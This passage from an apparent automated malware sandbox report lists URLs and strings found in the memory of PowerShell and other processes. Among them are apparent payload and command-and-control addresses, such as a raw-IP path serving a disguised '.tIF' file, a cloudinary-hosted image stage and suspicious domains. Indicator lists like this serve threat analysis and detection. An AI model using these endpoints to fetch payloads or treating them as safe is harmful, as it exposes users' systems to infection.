3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: 224<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Source: powershell.exe, 00000003.00000002.2193576971.0000000005876000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://107.172.44.175/73/simplec
Source: powershell.exe, 00000003.00000002.2193576971.0000000005876000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://107.172.44.175/73/simplecookiebiscutwithsweetnessforentiretime.tIF
Source: powershell.exe, 00000003.00000002.2191950238.0000000003597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.172.44.175/73/simplecookiebiscutwithsweetnessforentiretime.tIF1WS
Source: powershell.exe, 00000003.00000002.2201365075.00000000079DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.172.44.175/73/simplecookiebiscutwithsweetnessforentiretime.tIFLMEM
Source: powershell.exe, 00000003.00000002.2191950238.0000000003597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.172.44.175/73/simplecookiebiscutwithsweetnessforentiretime.tIFN
Source: powershell.exe, 00000007.00000002.2452388355.0000000008530000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2407510902.0000000003163000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: powershell.exe, 00000003.00000002.2201226983.0000000007980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: powershell.exe, 00000003.00000002.2193576971.0000000005BE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot?#iefix
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.otf
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.svg#montserrat-bold
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.ttf
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff2
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot?#iefix
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.otf
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.svg#montserrat-regular
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff2
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/js/min.js?v2.3
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/pics/10667/netsol-logos-2020-165-50.jpg
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/pics/28903/search.png)
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/pics/28905/arrrow.png)
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/pics/29590/bg1.png)
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/pics/468/netsol-favicon-2020.jpg
Source: powershell.exe, 00000003.00000002.2196878703.00000000064B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2409280410.0000000005D17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000007.00000002.2409280410.0000000004E07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.2193576971.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000003.00000002.2193576971.0000000005451000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2409280410.0000000004CB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.2193576971.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.Inastra.online
Source: powershell.exe, 00000007.00000002.2409280410.0000000004E07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: xwZkSdnVCDBnu.exe, 0000000E.00000002.3296102797.000000000591A000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.deikamalaharris.info
Source: xwZkSdnVCDBnu.exe, 0000000E.00000002.3296102797.000000000591A000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.deikamalaharris.info/lrgf/
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.inastra.online/2019_Toyota_Land_Cruiser.cfm?fp=KxtlUTPhWB%2Fwpu6zuo7h6FGLFrhSVbAgHpvfpKEX
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.inastra.online/Opel_Astra.cfm?fp=KxtlUTPhWB%2Fwpu6zuo7h6FGLFrhSVbAgHpvfpKEXKXM9CR1rlsw0ig
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.inastra.online/Toyota_Avensis.cfm?fp=KxtlUTPhWB%2Fwpu6zuo7h6FGLFrhSVbAgHpvfpKEXKXM9CR1rls
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.inastra.online/Toyota_F1.cfm?fp=KxtlUTPhWB%2Fwpu6zuo7h6FGLFrhSVbAgHpvfpKEXKXM9CR1rlsw0ig7
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.inastra.online/Vintage_Car_Auctions.cfm?fp=KxtlUTPhWB%2Fwpu6zuo7h6FGLFrhSVbAgHpvfpKEXKXM9
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.inastra.online/__media__/design/underconstructionnotice.php?d=inastra.online
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.inastra.online/__media__/js/trademark.php?d=inastra.online&type=ns
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.inastra.online/display.cfm
Source: ieUnatt.exe, 0000000C.00000002.3296931324.000000000813E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000003.00000002.2193576971.0000000005451000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2409280410.0000000004CB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000003.00000002.2193576971.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000007.00000002.2409280410.0000000004F1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee
Source: powershell.exe, 00000007.00000002.2409280410.0000000004F1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee;
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://cdn.consentmanager.net
Source: ieUnatt.exe, 0000000C.00000002.3296931324.000000000813E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: powershell.exe, 00000007.00000002.2409280410.0000000004F1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com
Source: powershell.exe, 00000007.00000002.2409280410.0000000004F1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com;
Source: ieUnatt.exe, 0000000C.00000002.3296931324.000000000813E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: ieUnatt.exe, 0000000C.00000002.3296931324.000000000813E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000007.00000002.2409280410.0000000005D17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000007.00000002.2409280410.0000000005D17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000007.00000002.2409280410.0000000005D17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://delivery.consentmanager.net
Source: firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://dts.gnpge.com
Source: ieUnatt.exe, 0000000C.00000002.3296931324.000000000813E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: ieUnatt.exe, 0000000C.00000002.3296931324.000000000813E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: ieUnatt.exe, 0000000C.00000002.3296931324.000000000813E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000007.00000002.2409280410.0000000004F1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com
Source: powershell.exe, 00000007.00000002.2409280410.0000000004F1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com;
Source: powershell.exe, 00000007.00000002.2409280410.0000000004E07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.2193576971.0000000005BE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000007.00000002.2447951810.0000000007719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.micros
Source: ieUnatt.exe, 0000000C.00000002.3292845378.0000000003463000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: ieUnatt.exe, 0000000C.00000002.3292845378.0000000003463000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: ieUnatt.exe, 0000000C.00000002.3292845378.0000000003463000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf
Source: ieUnatt.exe, 0000000C.00000002.3292845378.0000000003463000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2
Source: ieUnatt.exe, 0000000C.00000002.3292845378.0000000003463000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: ieUnatt.exe, 0000000C.00000002.3292845378.0000000003463000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033J)v?
Source: ieUnatt.exe, 0000000C.00000002.3292845378.0000000003463000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033X)x?
Source: ieUnatt.exe, 0000000C.00000002.3292845378.0000000003463000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033f)J?
Source: ieUnatt.exe, 0000000C.00000002.3292845378.0000000003463000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: ieUnatt.exe, 0000000C.00000002.3292845378.0000000003463000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: ieUnatt.exe, 0000000C.00000002.3292845378.0000000003463000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: ieUnatt.exe, 0000000C.00000003.2693252898.0000000008112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: powershell.exe, 00000003.00000002.2201365075.0000000007A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com32/WindowsPowerShell/v1.0/Modules/UEV/icrosoft.Uev.Commands.dll
Source: powershell.exe, 00000003.00000002.2196878703.00000000064B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2409280410.0000000005D17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000007.00000002.2409280410.0000000004E07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://res.cloudinary.com
Source: powershell.exe, 00000007.00000002.2409280410.0000000004E07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg
Source: powershell.exe, 00000007.00000002.2409280410.0000000004E07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpgt
Source: powershell.exe, 00000007.00000002.2409280410.0000000004F1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.gravatar.com
Source: powershell.exe, 00000007.00000002.2409280410.0000000004F1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://themes.googleusercontent.com
Source: ieUnatt.exe, 0000000C.00000002.3296931324.000000000813E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: powershell.exe, 00000007.00000002.2409280410.0000000004F1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: powershell.exe, 00000007.00000002.2409280410.0000000004F1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com;
Source: powershell.exe, 00000007.00000002.2409280410.0000000004F1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
